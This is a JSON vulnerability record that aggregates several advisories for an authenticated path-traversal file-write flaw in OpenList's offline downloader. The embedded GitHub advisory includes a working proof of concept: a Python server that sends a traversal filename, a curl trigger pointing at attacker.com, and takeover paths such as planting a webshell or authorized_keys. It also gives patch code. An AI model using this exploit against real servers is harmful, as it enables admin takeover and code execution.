{"id":"EUVD-2026-70550","revision":null,"records":[{"revision":"eee844be5fa54eca929e219631bfabce","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-75602","aliases":[],"title":"OpenList: Authenticated arbitrary file write via Content-Disposition path traversal in SimpleHttp offline-download tool","description":"OpenList a file list program that supports multiple storage. Prior to 4.2.3, OpenList's offline-download feature at POST /api/fs/add_offline_download with tool: \"SimpleHttp\" accepts an attacker-supplied URL and saves its bytes under a per-task temporary directory before transferring them to the user's destination storage. The temporary filename comes from the attacker-controlled Content-Disposition header, is passed from parseFilenameFromContentDisposition in internal/offline_download/http/util.go to filepath.Join(task.TempDir, filename) in SimpleHttp.Run in internal/offline_download/http/client.go, and is opened with os.Create without a containment check. Because filepath.Join cleans .. segments, a non-admin user with PermAddOfflineDownload on any path can traverse out of task.TempDir and create, truncate, or overwrite any file writable by the OpenList process whose parent directory already exists. The server/handles/offline_download.go AddOfflineDownload route uses normal user authentication rather than AuthAdmin, and local-storage destinations fall through tryPutUrl in internal/offline_download/tool/add.go to the vulnerable SimpleHttp.Run path. This issue is fixed in version 4.2.3.","state":0,"publishedAt":"2026-09-03T16:53:16.054+00:00","modifiedAt":"2026-09-05T01:58:23.299+00:00","affected":[{"ecosystem":"Vendor product","name":"OpenList","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"OpenListTeam\",\n                    \"product\": \"OpenList\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 4.2.3\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:H/A:H","score":6.5,"severity":"MEDIUM"}],"references":["https://github.com/OpenListTeam/OpenList/security/advisories/GHSA-h6cj-26g5-67fv","https://github.com/OpenListTeam/OpenList/commit/9cc5dd969b9833c8cb4e14c338c3571dfdbe2108","https://github.com/OpenListTeam/OpenList/releases/tag/v4.2.3"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-75602","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-75602","identifiers":["CVE-2026-75602"]},"retained":false,"historicalAffected":[]},{"revision":"7306fba7533641a4ad31813078dd5930","observedAt":"2026-11-13T17:06:19.672+00:00","statement":{"source":"euvd","id":"EUVD-2026-70550","aliases":["CVE-2026-75602","GHSA-h6cj-26g5-67fv"],"title":"OpenList a file list program that supports multiple storage. Prior to 4.2.3, OpenList's offline-download feature at POST /api/fs/add_offline_download with tool: \"SimpleHttp\" accepts an attacker-supplied URL and saves its bytes under a per-t…","description":"OpenList a file list program that supports multiple storage. Prior to 4.2.3, OpenList's offline-download feature at POST /api/fs/add_offline_download with tool: \"SimpleHttp\" accepts an attacker-supplied URL and saves its bytes under a per-task temporary directory before transferring them to the user's destination storage. The temporary filename comes from the attacker-controlled Content-Disposition header, is passed from parseFilenameFromContentDisposition in internal/offline_download/http/util.go to filepath.Join(task.TempDir, filename) in SimpleHttp.Run in internal/offline_download/http/client.go, and is opened with os.Create without a containment check. Because filepath.Join cleans .. segments, a non-admin user with PermAddOfflineDownload on any path can traverse out of task.TempDir and create, truncate, or overwrite any file writable by the OpenList process whose parent directory already exists. The server/handles/offline_download.go AddOfflineDownload route uses normal user authentication rather than AuthAdmin, and local-storage destinations fall through tryPutUrl in internal/offline_download/tool/add.go to the vulnerable SimpleHttp.Run path. This issue is fixed in version 4.2.3.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:H/A:H","score":6.5,"severity":null}],"references":["https://github.com/OpenListTeam/OpenList/security/advisories/GHSA-h6cj-26g5-67fv","https://github.com/OpenListTeam/OpenList/commit/9cc5dd969b9833c8cb4e14c338c3571dfdbe2108","https://github.com/OpenListTeam/OpenList/releases/tag/v4.2.3"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-70550","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Sep 3, 2026, 4:53:16 PM","dateUpdated":"Sep 5, 2026, 1:58:23 AM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-70550","identifiers":["EUVD-2026-70550","CVE-2026-75602","GHSA-h6cj-26g5-67fv"]},"retained":false,"historicalAffected":[]},{"revision":"66015d7a181c4d3980a5a6823ec08105","observedAt":"2026-10-25T15:19:09.409+00:00","statement":{"source":"nvd","id":"CVE-2026-75602","aliases":[],"title":"OpenList a file list program that supports multiple storage. Prior to 4.2.3, OpenList's offline-download feature at POST /api/fs/add_offline_download with tool: \"SimpleHttp\" accepts an attacker-supplied URL and saves its bytes under a per-t…","description":"OpenList a file list program that supports multiple storage. Prior to 4.2.3, OpenList's offline-download feature at POST /api/fs/add_offline_download with tool: \"SimpleHttp\" accepts an attacker-supplied URL and saves its bytes under a per-task temporary directory before transferring them to the user's destination storage. The temporary filename comes from the attacker-controlled Content-Disposition header, is passed from parseFilenameFromContentDisposition in internal/offline_download/http/util.go to filepath.Join(task.TempDir, filename) in SimpleHttp.Run in internal/offline_download/http/client.go, and is opened with os.Create without a containment check. Because filepath.Join cleans .. segments, a non-admin user with PermAddOfflineDownload on any path can traverse out of task.TempDir and create, truncate, or overwrite any file writable by the OpenList process whose parent directory already exists. The server/handles/offline_download.go AddOfflineDownload route uses normal user authentication rather than AuthAdmin, and local-storage destinations fall through tryPutUrl in internal/offline_download/tool/add.go to the vulnerable SimpleHttp.Run path. This issue is fixed in version 4.2.3.","state":0,"publishedAt":"2026-09-03T17:17:23.757+00:00","modifiedAt":"2026-09-09T21:09:13.08+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:H/A:H","score":6.5,"severity":"MEDIUM"}],"references":["https://github.com/OpenListTeam/OpenList/commit/9cc5dd969b9833c8cb4e14c338c3571dfdbe2108","https://github.com/OpenListTeam/OpenList/releases/tag/v4.2.3","https://github.com/OpenListTeam/OpenList/security/advisories/GHSA-h6cj-26g5-67fv"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-75602","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Deferred","weaknesses":["CWE-22","CWE-73"],"productCriteria":[],"sourceDates":{"published":"2026-09-03T17:17:23.757","lastModified":"2026-09-09T21:09:13.080"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-75602","identifiers":["CVE-2026-75602"]},"retained":false,"historicalAffected":[]},{"revision":"8eb3421fc17f4fda9a8ff5cd74e4b021","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GHSA-h6cj-26g5-67fv","aliases":["CVE-2026-75602","GO-2026-6368"],"title":"OpenList: Authenticated arbitrary file write via Content-Disposition path traversal in SimpleHttp offline-download tool","description":"### Summary\n\nAlist's offline-download feature (`POST /api/fs/add_offline_download` with `tool: \"SimpleHttp\"`) accepts an attacker-supplied URL, fetches it, and saves the bytes under a per-task temp directory before transferring to the user's destination storage. The temp filename is taken from the response's `Content-Disposition` header (attacker-controlled when the URL points to an attacker HTTP server), passed verbatim to `filepath.Join(tempDir, filename)`, and written via `os.Create` with no containment check. Go's `filepath.Join` calls `Clean` on the result, which collapses `..` segments and lets the attacker traverse out of `tempDir` to write any file the alist process can write.\n\nA non-admin user with `PermAddOfflineDownload` permission on any path is sufficient.\n\n### Affected code\n\n`internal/offline_download/http/util.go` — filename returned verbatim from header:\n\n```go\nfunc parseFilenameFromContentDisposition(contentDisposition string) (string, error) {\n    if contentDisposition == \"\" {\n        return \"\", fmt.Errorf(\"Content-Disposition is empty\")\n    }\n    _, params, err := mime.ParseMediaType(contentDisposition)\n    if err != nil {\n        return \"\", err\n    }\n    filename := params[\"filename\"]\n    if filename == \"\" {\n        return \"\", fmt.Errorf(\"filename not found in Content-Disposition: [%s]\", contentDisposition)\n    }\n    return filename, nil   // ← no traversal stripping\n}\n```\n\n`internal/offline_download/http/client.go` (`SimpleHttp.Run`):\n\n```go\nfilename := path.Base(urlPath)                                         // safe\nif n, err := parseFilenameFromContentDisposition(resp.Header.Get(\"Content-Disposition\")); err == nil {\n    filename = n                                                       // UNSAFE — no sanitization\n}\n_ = os.MkdirAll(task.TempDir, os.ModePerm)\nfilePath := filepath.Join(task.TempDir, filename)                      // filepath.Join calls Clean; \"../\" escapes tempDir\nfile, err := os.Create(filePath)                                       // arbitrary file create+truncate\n_, _ = utils.CopyWithCtx(task.Ctx(), file, resp.Body, fileSize, task.SetProgress)\n```\n\n`server/handles/offline_download.go` (`AddOfflineDownload`) is mounted under normal user auth (not `AuthAdmin`). The only permission check is `common.HasPermission(perm, common.PermAddOfflineDownload)`.\n\nNote: `tryPutUrl` in `internal/offline_download/tool/add.go` is a partial bypass for cloud-storage destinations whose driver implements `PutURL` (e.g., 115 Cloud, PikPak, Thunder). For the local-storage driver — the most common target — `tryPutUrl` returns `errs.NotImplement` and execution falls through to the vulnerable `SimpleHttp.Run` path.\n\n### PoC\n\n1. Attacker has any alist account with `PermAddOfflineDownload` on some path it can write to (e.g. `/somefolder`).\n2. Attacker hosts a small HTTP listener:\n\n```python\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\nPAYLOAD = b\"any_attacker_controlled_bytes\\n\"\nTRAVERSAL = \"../../config.json\"   # destination path under /opt/alist/data/\nclass H(BaseHTTPRequestHandler):\n    def do_GET(self):\n        self.send_response(200)\n        self.send_header(\"Content-Disposition\", f'attachment; filename=\"{TRAVERSAL}\"')\n        self.send_header(\"Content-Length\", str(len(PAYLOAD)))\n        self.end_headers()\n        self.wfile.write(PAYLOAD)\nHTTPServer((\"0.0.0.0\", 80), H).serve_forever()\n```\n\n3. Trigger:\n\n```bash\ncurl -X POST 'http://victim-alist.example/api/fs/add_offline_download' \\\n  -H 'Authorization: <session-token>' \\\n  -H 'Content-Type: application/json' \\\n  -d '{\"urls\":[\"http://attacker.com/payload\"],\"tool\":\"SimpleHttp\",\"path\":\"/somefolder\",\"delete_policy\":\"delete_never\"}'\n```\n\n4. Server-side: `tempDir = /opt/alist/data/temp/SimpleHttp/<uuid>`. `filename = \"../../config.json\"`. `filePath = filepath.Join(tempDir, filename)` cleans to `/opt/alist/data/config.json`. `os.Create` truncates the existing config; the response body is streamed in.\n\n### Impact\n\nThe minimal, deployment-agnostic guarantee is: the attacker can cause the application to create or overwrite files whose parent directory exists, with content of their choice, **as the alist process** (PUID=0 in default Docker). Because the vulnerable code ultimately calls `os.Create` on the attacker-controlled resolved path, existing files may be truncated and replaced when the target already exists. Concrete impact paths include:\n\n- **Replace `/opt/alist/data/config.json`** with attacker config (alternative JwtSecret, admin password hash, allowed origins) — admin takeover on next restart / config-reload hook.\n- **Drop a webshell** into a writable docroot served by a sibling web server (environment-dependent).\n- **Truncate the alist binary** at `/opt/alist/alist` (Linux permits overwriting an executing binary on most filesystems) — next start runs attacker's binary.\n- **Write `authorized_keys`** if a host volume bind-mounts e.g. `/root/.ssh` and that directory exists.\n\nCaveat: the parent directory of the target must already exist; `os.Create` does not `mkdir -p` intermediate components. This still leaves many high-impact targets reachable on default deployments.\n\n### Adversarial review notes\n\n- `filepath.Join` *does* collapse `..` (Go semantics confirmed via stdlib).\n- No containment check exists after the join.\n- `mime.ParseMediaType` does not strip path separators or `..` from `filename` or RFC 5987 `filename*`.\n- The resolved path is opened using `os.Create`, which truncates existing files and therefore permits overwrite in addition to creation when the target path already exists.\n- `SimpleHttp` is registered by default (`internal/offline_download/all.go`).\n- The route is *not* `AuthAdmin`-gated.\n- Default guest is disabled (perm 0); this requires a user with `PermAddOfflineDownload`.\n\n### Remediation\n\nMinimal patch in `internal/offline_download/http/util.go`:\n\n```go\nfilename = filepath.Base(filename)\nif filename == \"\" || filename == \".\" || filename == \"..\" || !filepath.IsLocal(filename) {\n    return \"\", fmt.Errorf(\"invalid filename in Content-Disposition: [%s]\", contentDisposition)\n}\nreturn filename, nil\n```\n\nDefense-in-depth in `internal/offline_download/http/client.go` after computing `filePath`:\n\n```go\ncleanTempDir := filepath.Clean(task.TempDir) + string(filepath.Separator)\nif !strings.HasPrefix(filepath.Clean(filePath)+string(filepath.Separator), cleanTempDir) {\n    return fmt.Errorf(\"filename escapes temp dir\")\n}\n```\n\nAdditionally, file creation should reject existing targets (or use an equivalent exclusive-create mechanism) to prevent accidental or attacker-controlled overwrites when a chosen filename resolves to an existing file.\n\n```go\nif _, err := os.Stat(filePath); err == nil {\n    return fmt.Errorf(\"file already exists\")\n}\n```\n\nThe same Content-Disposition / URL-derived filename trust pattern should be reviewed in the other offline-download tools under `internal/offline_download/{aria2,qbit,transmission,115,pikpak,thunder}/` for consistency.\n\n### Inherited from upstream\n\nThis bug is inherited from upstream alist/alist-org/alist. Sister advisories are being filed against AlistGo/alist (the active downstream) and alist-org/alist (the original tree).\n\n### Cross-reference\n\nThis is a different code path from the previously fixed CVE-2026-25161 (GHSA-x4q4-7phh-42j9, fsmanage/fsbatch path traversal patched in v3.57.0). The offline-download `SimpleHttp` downloader was not in scope of that fix; the vulnerable code is on `main` HEAD as of the time of this report (verified against the openlistteam/openlist tree's `internal/offline_download/http/client.go` retrieved 2026-05-09 — the SimpleHttp.Run function still calls `parseFilenameFromContentDisposition` and uses the result verbatim with `filepath.Join(task.TempDir, filename)`. OpenList's variant adds a `strings.Trim(filename, \"/\")` call which strips leading/trailing slashes but does NOT block `..` traversal segments — so the bug remains exploitable.)\n\n### Credit\n\nDiscovered during a cross-target meta-sweep on path-traversal in file-upload / download pipelines. Static review of public source; no live exploitation.","state":0,"publishedAt":"2026-09-03T17:37:20+00:00","modifiedAt":"2026-09-10T15:25:55.2890749+00:00","affected":[{"ecosystem":"Go","name":"github.com/OpenListTeam/OpenList","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"4.2.3"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:H/A:H","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"MODERATE"}],"references":["https://github.com/OpenListTeam/OpenList/security/advisories/GHSA-h6cj-26g5-67fv","https://github.com/OpenListTeam/OpenList/commit/9cc5dd969b9833c8cb4e14c338c3571dfdbe2108","https://github.com/OpenListTeam/OpenList","https://github.com/OpenListTeam/OpenList/releases/tag/v4.2.3"],"sourceUrl":"https://github.com/advisories/GHSA-h6cj-26g5-67fv","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-h6cj-26g5-67fv","identifiers":["GHSA-h6cj-26g5-67fv","CVE-2026-75602","GO-2026-6368"]},"retained":false,"historicalAffected":[]},{"revision":"e4090b5071f94eaf815c4144749672b7","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GO-2026-6368","aliases":["CVE-2026-75602","GHSA-h6cj-26g5-67fv"],"title":"OpenList: Authenticated arbitrary file write via Content-Disposition path traversal in SimpleHttp offline-download tool in github.com/OpenListTeam/OpenList","description":"OpenList: Authenticated arbitrary file write via Content-Disposition path traversal in SimpleHttp offline-download tool in github.com/OpenListTeam/OpenList","state":0,"publishedAt":"2026-09-10T14:48:42+00:00","modifiedAt":"2026-09-10T15:15:12.9090696+00:00","affected":[{"ecosystem":"Go","name":"github.com/OpenListTeam/OpenList","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"Go","name":"github.com/OpenListTeam/OpenList/v3","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"Go","name":"github.com/OpenListTeam/OpenList/v4","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"4.2.3"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[],"references":["https://github.com/OpenListTeam/OpenList/security/advisories/GHSA-h6cj-26g5-67fv","https://github.com/OpenListTeam/OpenList/commit/9cc5dd969b9833c8cb4e14c338c3571dfdbe2108","https://github.com/OpenListTeam/OpenList/releases/tag/v4.2.3"],"sourceUrl":"https://osv.dev/vulnerability/GO-2026-6368","license":"OSV · upstream source license applies","key":"osv:GO-2026-6368","identifiers":["GO-2026-6368","CVE-2026-75602","GHSA-h6cj-26g5-67fv"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-15T03:30:51.8285280+00:00","complete":true,"records":1781,"lastAttemptAt":"2026-11-15T03:30:51.828528+00:00","lastSuccessAt":"2026-11-15T03:30:52.0220544+00:00","error":null,"lastVerifiedAt":"2026-11-15T03:30:52.0220551+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-7de4d7559a5263003f03d9f70577ab06f92ba4178309f26fce53e22a4a959294-64506870a9a1090a8d0c5272d737568ebd51c8becfe1facb058977cac4ac83fa","complete":true,"records":425769,"lastAttemptAt":"2026-11-15T03:30:50.6159515+00:00","lastSuccessAt":"2026-11-15T03:30:50.6052211+00:00","error":null,"lastVerifiedAt":"2026-11-15T03:30:50.6159515+00:00","snapshotPublishedAt":"2026-11-15T03:29:56+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-e6ab561e8a444365a873763d64375496","complete":false,"records":13821,"lastAttemptAt":"2026-11-15T03:42:24.4547028+00:00","lastSuccessAt":"2026-11-15T03:42:23.433+00:00","error":"7 identifier lookups failed; latest failures include AccessDenied (HTTP 403). Other identifiers were checked independently.","lastVerifiedAt":"2026-11-15T03:42:23.433+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13867,"expectedIdentifiers":13874,"failedIdentifiers":7},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-15T03:30:51.8285280+00:00","complete":true,"records":1125,"lastAttemptAt":"2026-11-15T03:30:51.828528+00:00","lastSuccessAt":"2026-11-15T03:30:52.022937+00:00","error":null,"lastVerifiedAt":"2026-11-15T03:30:52.0229398+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-b4e16143cf664d0aa856e1009c943b33","complete":false,"records":13833,"lastAttemptAt":"2026-11-15T03:30:58.3499715+00:00","lastSuccessAt":"2026-11-15T02:30:50.077+00:00","error":"14 identifier lookups failed; latest failures include HttpError (HTTP 503). Other identifiers were checked independently.","lastVerifiedAt":"2026-11-15T02:30:50.077+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13860,"expectedIdentifiers":13874,"failedIdentifiers":14},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-64eea06dbd27de8464d5dbce1b78cc794cc59e2d901516ae0d3ea76e624cdae0","complete":true,"records":9955,"lastAttemptAt":"2026-11-15T03:30:51.6093294+00:00","lastSuccessAt":"2026-11-14T13:57:23.1208135+00:00","error":null,"lastVerifiedAt":"2026-11-15T03:30:51.6093294+00:00","snapshotPublishedAt":"2026-11-14T13:17:57+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-f4424d7d4861b1af1404bd15abcb83f295dcd003412a9340ca99dc8200aa148a","complete":true,"records":2014,"lastAttemptAt":"2026-11-15T03:30:51.2334746+00:00","lastSuccessAt":"2026-11-13T19:57:08.2864435+00:00","error":null,"lastVerifiedAt":"2026-11-15T03:30:51.2334746+00:00","snapshotPublishedAt":"2026-11-13T19:33:10+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-012aff9b2fb349d53e2c4bace6ca57956b6f5f9d82c1dc9fdc1c9b3c738f8977","complete":true,"records":3148,"lastAttemptAt":"2026-11-15T03:30:51.6425919+00:00","lastSuccessAt":"2026-11-14T04:57:03.8279646+00:00","error":null,"lastVerifiedAt":"2026-11-15T03:30:51.6425919+00:00","snapshotPublishedAt":"2026-11-14T03:02:50+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-deb41cb32d3b3d67de7960b1647d789a5218551d33a54a4b027ba315bcba590f","complete":true,"records":232473,"lastAttemptAt":"2026-11-15T03:30:51.414557+00:00","lastSuccessAt":"2026-11-15T01:46:53.6377511+00:00","error":null,"lastVerifiedAt":"2026-11-15T03:30:51.414557+00:00","snapshotPublishedAt":"2026-11-15T00:48:23+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}